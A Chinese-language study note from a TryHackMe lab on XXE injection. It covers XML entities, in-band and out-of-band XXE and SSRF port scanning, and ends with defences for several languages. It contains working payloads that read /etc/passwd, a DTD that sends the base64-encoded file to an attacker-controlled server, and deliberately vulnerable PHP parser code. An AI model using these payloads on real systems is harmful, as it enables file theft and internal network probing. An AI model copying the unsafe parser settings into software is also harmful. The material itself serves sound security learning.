xxe注入
这是我根据THM里面的xxe注入讲解,写下的这篇笔记
XML
XML是一种源自SGML(标准化标记语言)的标记语言,它与HTML基于的标准相同。它由元素、属性和字符数据组成,以结构化和有组织的方式表示数据。
XML元素由标签表示,标签周围环绕着角括号(<>)。标签通常是成对的,即内容前面的开头标签和内容后面的关闭标签。
例如:
<?xml version="1.0" encoding="UTF-8"?>
<user id="1">
<name>John</name>
<age>30</age>
<address>
<street>123 Main St</street>
<city>Anytown</city>
</address>
</user>
XSLT
(Extensible Stylesheet Language Transformations,可扩展样式表语言变换)是一种用于转换和格式化XML文档的语言。
DTD
文档类型定义,定义了 XML 文档的结构和约束,指定它们之间允许的元素、属性和关系。DTD 可以是 XML 文档内部的,也可以是单独文件中的外部。
内部 DTD 使用 <!DOCTYPE 声明,而外部 DTD 则使用 SYSTEM 关键字引用。
例如:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE config [
<!ELEMENT config (database)>
<!ELEMENT database (username, password)>
<!ELEMENT username (#PCDATA)>
<!ELEMENT password (#PCDATA)>
]> <!-- <!ELEMENT 声明指定允许的元素及其关系 -->
<config>
<!-- configuration data -->
</config>
XML实体
有五种类型:内部实体、外部实体、参数实体、一般实体和字符实体。
1.内部实体(Internal Entities)
内部实体本质上是XML文档中用于定义和替换可能重复多次的内容的变量。它们在DTD(文档类型定义)中定义,可以简化重复信息的管理。
例如:
<!DOCTYPE note [
<!ENTITY inf "This is a test.">
]>
<note>
<info>&inf;</info>
</note>
在这个例子中,无论在文档中的何处出现,实体&inf;会被其值"This is a test."所取代
2.外部实体(External Entities)
外部实体与内部实体类似,但其内容从 XML 文档之外引用。比如从一个单独的文件或者一个URL引用。
例如:
<!DOCTYPE note [
<!ENTITY ext SYSTEM "http://example.com/external.dtd">
]>
<note>
<info>&ext;</info>
</note>
这里的&ext;从指定的URL中提取内容,如果URL由攻击者控制,则可能存在安全风险。
3.参数实体(Parameter Entities)
参数实体是DTD中用于定义可重用结构或包含外部DTD子集的特殊类型的实体。它们对于模块化 DTD 和维护大规模 XML 应用程序特别有用。
例如:
<!DOCTYPE note [
<!ENTITY % common "CDATA">
<!ELEMENT name (%common;)>
]>
<note>
<name>John Doe</name>
</note>
在这种情况下,%common; 用于在 DTD 中定义name元素应包含的数据类型。
4.一般实体(General Entities)
可以在内部或外部声明,它们用于定义可以在 XML 文档正文中使用的替换
例如:
<!DOCTYPE note [
<!ENTITY author "John Doe">
]>
<note>
<writer>&author;</writer>
</note>
实体&author; 是一个一般实体,用于在文档中引用的任何地方替换author的名字。
5.字符实体(Character Entities)
字符实体用于表示不能直接在 XML 文档中使用的特殊或保留字符,这些实体可防止解析器曲解 XML 语法。
例如:
<相当于小于符号(<)
>相当于大于符号(>)
& 相当于and符号(&)
<note>
<text>Use < to represent a less-than symbol.</text>
</note>
此用法可确保特殊字符由 XML 解析器正确处理,而不会破坏文档的结构。
带内XXE
带内 XXE 是指攻击者可以看到来自服务器的响应的 XXE 漏洞,攻击者只需向应用程序发送恶意 XML pyload,服务器就会响应提取的数据或攻击的结果。
利用这个可以直接进行数据泄露和文件读取
例如:
访问THM靶机如下界面,填写表格,bp抓包


这里提交的数据由靶机内的contact_submit.php处理,目的是在用户在表单中提交消息时返回名称参数的值。
相关代码片段如下
libxml_disable_entity_loader(false);
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$xmlData = file_get_contents('php://input');
$doc = new DOMDocument();
$doc->loadXML($xmlData, LIBXML_NOENT | LIBXML_DTDLOAD);
$expandedContent = $doc->getElementsByTagName('name')[0]->textContent;//可以看出,它用了name
echo "Thank you, " .$expandedContent . "! Your message has been received.";
}
这个代码有漏洞,可以利用其进行带内XXE
由于应用程序返回name参数的值,我们可以注入指向 /etc/passwd 的实体以得到其值。
exp:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<contact>
<name>&xxe;</name>
<email>test@test.com</email>
<message>test</message>
</contact>

可以看到,成功读取到了/etc/passwd
带外XXE
带外 XXE 是指攻击者无法看到服务器响应的 XXE 漏洞。这就需要使用替代通道(如 DNS 或 HTTP 请求)来泄露数据。为了提取数据,需要构建一个触发带外请求的xxe payload,例如 DNS 查询或 HTTP 请求。
例如:
访问靶机如下界面

用户上传文件时,服务端使用如下代码处理:
libxml_disable_entity_loader(false);
$xmlData = file_get_contents('php://input');
$doc = new DOMDocument();
$doc->loadXML($xmlData, LIBXML_NOENT | LIBXML_DTDLOAD);
$links = $doc->getElementsByTagName('file');
foreach ($links as $link) {
$fileLink = $link->nodeValue;
$stmt = $conn->prepare("INSERT INTO uploads (link, uploaded_date) VALUES (?, NOW())");
$stmt->bind_param("s", $fileLink);
$stmt->execute();
if ($stmt->affected_rows > 0) {
echo "Link saved successfully.";
} else {
echo "Error saving link.";
}
$stmt->close();
}
上面的代码不返回提交的 XML 数据的值。因此,想要得到泄露的数据,必须使用攻击者控制的服务器来进行“带外”。
这里攻击机的ip为 10.10.79.104 ,靶机ip为 10.10.241.102
上传文件后,用bp抓包,把包发出去,会再拦住一个submit.php,这个就是xxe利用的包
攻击机这里先在桌面开一个http服务,端口为1337
python3 -m http.server 1337
然后在bp里把包里的内容改为如下,发送
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://10.10.79.104:1337/" >]>
<upload><file>&xxe;</file></upload>

直接看右边的回显当然没有什么,这时候回去看看攻击机的终端

这里收到了它的访问,给了回显
接下来,在攻击机的桌面创建一个sample.dtd文件,里面内容如下:
<!ENTITY % cmd SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oobxxe "<!ENTITY exfil SYSTEM 'http://10.10.79.104:1337/?data=%cmd;'>">
%oobxxe;
然后用bp把包里的内容改为如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE upload SYSTEM "http://10.10.79.104:1337/sample.dtd">
<upload> <file>&exfil;</file></upload>
然后发包

再回去看终端

有回显了,base64解码看看,就是/etc/passwd的内容

带外注入成功
SSRF+XXE
当攻击者滥用服务器上的功能,导致服务器向意外位置发出请求时,就会发生攻击。攻击者可以操作 XML 输入,使服务器请求内部服务或访问内部文件。
内网扫描
例如,使用来自内带 XXE 任务的捕获请求,将捕获的请求发送到 Burp Intruder,并使用以下pyload:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://localhost:§10§/" >
]>
<contact>
<name>&xxe;</name>
<email>test@test.com</email>
<message>test</message>
</contact>
不断爆破数字,从1到65535,根据回显长度来判断哪个有服务

最后发现81端口

防范措施
以下是针对xxe漏洞的不同语言的防范措施
Java
使用 DocumentBuilderFactory 并禁用 DTD:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();
.NET
配置 XML 阅读器以忽略 DTD 和外部实体:
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);
PHP
禁用 libxml 加载外部实体:
libxml_disable_entity_loader(true);
Python
使用 demendedxml 库:
from defusedxml.ElementTree import parse
et = parse(xml_input)

浙公网安备 33010602011771号